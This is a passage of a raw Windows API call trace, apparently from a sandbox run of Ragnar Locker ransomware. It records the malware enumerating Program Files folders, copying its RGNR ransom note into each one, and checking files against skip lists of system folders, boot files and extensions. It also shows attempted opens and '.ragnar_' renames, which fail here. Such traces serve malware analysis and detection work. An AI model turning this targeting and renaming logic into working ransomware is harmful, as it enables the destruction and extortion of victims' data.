[0057.006] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\*.*", nBufferLength=0x104, lpBuffer=0x1ea6d4, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0057.006] lstrcpyW (in: lpString1=0x1ea4cc, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0057.006] lstrcpyW (in: lpString1=0x1ea74e, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0057.006] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7437fe80, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7437fe80, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0057.007] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0057.007] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7437fe80, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7437fe80, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.007] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0057.007] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0057.007] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7437fe80, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7437fe80, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0057.007] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0057.007] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0057.007] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xead074bc, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeaef6675, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xeaef6675, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0057.007] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2=".") returned 1 [0057.007] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="..") returned 1 [0057.007] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xead074bc, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeaef6675, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xeaef6675, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0057.007] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0057.007] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7437fe80, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7437fe80, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0057.007] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7437fe80, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7437fe80, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.007] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7437fe80, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7437fe80, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0057.007] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0057.007] lstrcpyW (in: lpString1=0x1eab62, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0057.007] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\RGNR_FD7BD9FC.txt") returned=".txt" [0057.007] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0057.007] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xead074bc, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeaef6675, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xeaef6675, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0057.007] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0057.007] lstrcpyW (in: lpString1=0x1eab62, lpString2="tipresx.dll.mui" | out: lpString1="tipresx.dll.mui") returned="tipresx.dll.mui" [0057.007] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\tipresx.dll.mui") returned=".mui" [0057.007] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0057.007] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="autorun.inf") returned 1 [0057.008] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="boot.ini") returned 1 [0057.008] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootfont.bin") returned 1 [0057.008] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootsect.bak") returned 1 [0057.008] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootmgr") returned 1 [0057.008] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootmgr.efi") returned 1 [0057.008] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootmgfw.efi") returned 1 [0057.008] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="desktop.ini") returned 1 [0057.008] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="iconcache.db") returned 1 [0057.008] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntldr") returned 1 [0057.008] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntuser.dat") returned 1 [0057.008] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntuser.dat.log") returned 1 [0057.008] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntuser.ini") returned 1 [0057.008] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="thumbs.db") returned 1 [0057.008] lstrcmpiW (lpString1=".mui", lpString2=".db") returned 1 [0057.008] lstrcmpiW (lpString1=".mui", lpString2=".sys") returned -1 [0057.008] lstrcmpiW (lpString1=".mui", lpString2=".dll") returned 1 [0057.008] lstrcmpiW (lpString1=".mui", lpString2=".lnk") returned 1 [0057.008] lstrcmpiW (lpString1=".mui", lpString2=".msi") returned 1 [0057.008] lstrcmpiW (lpString1=".mui", lpString2=".drv") returned 1 [0057.008] lstrcmpiW (lpString1=".mui", lpString2=".exe") returned 1 [0057.008] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nb-no\\tipresx.dll.mui")) returned 0x20 [0057.008] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nb-no\\tipresx.dll.mui"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0057.008] CloseHandle (hObject=0xffffffff) returned 0 [0057.008] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\tipresx.dll.mui" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\tipresx.dll.mui") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\tipresx.dll.mui" [0057.008] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\tipresx.dll.mui", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\tipresx.dll.mui.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\tipresx.dll.mui.ragnar_FD7BD9FC" [0057.008] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nb-no\\tipresx.dll.mui"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\tipresx.dll.mui.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nb-no\\tipresx.dll.mui.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0057.009] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xead074bc, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeaef6675, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xeaef6675, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0057.009] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0057.009] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0057.009] lstrcmpiW (lpString1="nl-NL", lpString2=".") returned 1 [0057.009] lstrcmpiW (lpString1="nl-NL", lpString2="..") returned 1 [0057.009] lstrcmpiW (lpString1="nl-NL", lpString2="Windows") returned -1 [0057.009] lstrcmpiW (lpString1="nl-NL", lpString2="Windows.old") returned -1 [0057.009] lstrcmpiW (lpString1="nl-NL", lpString2="Tor browser") returned -1 [0057.009] lstrcmpiW (lpString1="nl-NL", lpString2="Internet Explorer") returned 1 [0057.009] lstrcmpiW (lpString1="nl-NL", lpString2="Google") returned 1 [0057.009] lstrcmpiW (lpString1="nl-NL", lpString2="Opera") returned -1 [0057.009] lstrcmpiW (lpString1="nl-NL", lpString2="Opera Software") returned -1 [0057.009] lstrcmpiW (lpString1="nl-NL", lpString2="Mozilla") returned 1 [0057.009] lstrcmpiW (lpString1="nl-NL", lpString2="Mozilla Firefox") returned 1 [0057.009] lstrcmpiW (lpString1="nl-NL", lpString2="$Recycle.Bin") returned 1 [0057.009] lstrcmpiW (lpString1="nl-NL", lpString2="ProgramData") returned -1 [0057.009] lstrcmpiW (lpString1="nl-NL", lpString2="All Users") returned 1 [0057.009] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0057.009] lstrcpyW (in: lpString1=0x1eb62e, lpString2="nl-NL" | out: lpString1="nl-NL") returned="nl-NL" [0057.009] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL\\" [0057.009] lstrcpyW (in: lpString1=0x1eb3b4, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL\\" [0057.009] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL\\RGNR_FD7BD9FC.txt" [0057.009] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nl-nl\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0057.011] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL\\*.*" [0057.011] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL\\*.*", nBufferLength=0x104, lpBuffer=0x1ea6d4, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0057.011] lstrcpyW (in: lpString1=0x1ea4cc, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0057.011] lstrcpyW (in: lpString1=0x1ea74e, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0057.011] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7437fe80, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7437fe80, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0057.012] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0057.012] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7437fe80, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7437fe80, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.012] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0057.012] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0057.012] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7437fe80, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7437fe80, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0057.012] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0057.012] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0057.012] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4fe5f52, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe52213c5, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5247522, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0057.012] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2=".") returned 1 [0057.012] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="..") returned 1 [0057.012] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4fe5f52, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe52213c5, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5247522, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0057.012] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0057.012] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7437fe80, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7437fe80, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0057.012] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7437fe80, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7437fe80, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.012] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7437fe80, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7437fe80, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0057.012] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0057.012] lstrcpyW (in: lpString1=0x1eab62, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0057.012] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL\\RGNR_FD7BD9FC.txt") returned=".txt" [0057.012] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0057.012] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4fe5f52, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe52213c5, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5247522, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0057.013] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0057.013] lstrcpyW (in: lpString1=0x1eab62, lpString2="tipresx.dll.mui" | out: lpString1="tipresx.dll.mui") returned="tipresx.dll.mui" [0057.013] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL\\tipresx.dll.mui") returned=".mui" [0057.013] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0057.013] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="autorun.inf") returned 1 [0057.013] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="boot.ini") returned 1 [0057.013] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootfont.bin") returned 1 [0057.013] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootsect.bak") returned 1 [0057.013] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootmgr") returned 1 [0057.013] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootmgr.efi") returned 1 [0057.013] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootmgfw.efi") returned 1 [0057.013] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="desktop.ini") returned 1 [0057.013] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="iconcache.db") returned 1 [0057.013] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntldr") returned 1 [0057.013] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntuser.dat") returned 1 [0057.013] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntuser.dat.log") returned 1 [0057.013] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntuser.ini") returned 1 [0057.013] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="thumbs.db") returned 1 [0057.013] lstrcmpiW (lpString1=".mui", lpString2=".db") returned 1 [0057.013] lstrcmpiW (lpString1=".mui", lpString2=".sys") returned -1 [0057.013] lstrcmpiW (lpString1=".mui", lpString2=".dll") returned 1 [0057.013] lstrcmpiW (lpString1=".mui", lpString2=".lnk") returned 1 [0057.013] lstrcmpiW (lpString1=".mui", lpString2=".msi") returned 1 [0057.013] lstrcmpiW (lpString1=".mui", lpString2=".drv") returned 1 [0057.013] lstrcmpiW (lpString1=".mui", lpString2=".exe") returned 1 [0057.013] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nl-nl\\tipresx.dll.mui")) returned 0x20 [0057.013] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nl-nl\\tipresx.dll.mui"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0057.013] CloseHandle (hObject=0xffffffff) returned 0 [0057.014] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL\\tipresx.dll.mui" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL\\tipresx.dll.mui") returned="\\\\?\\C:\\Program Files\\Common 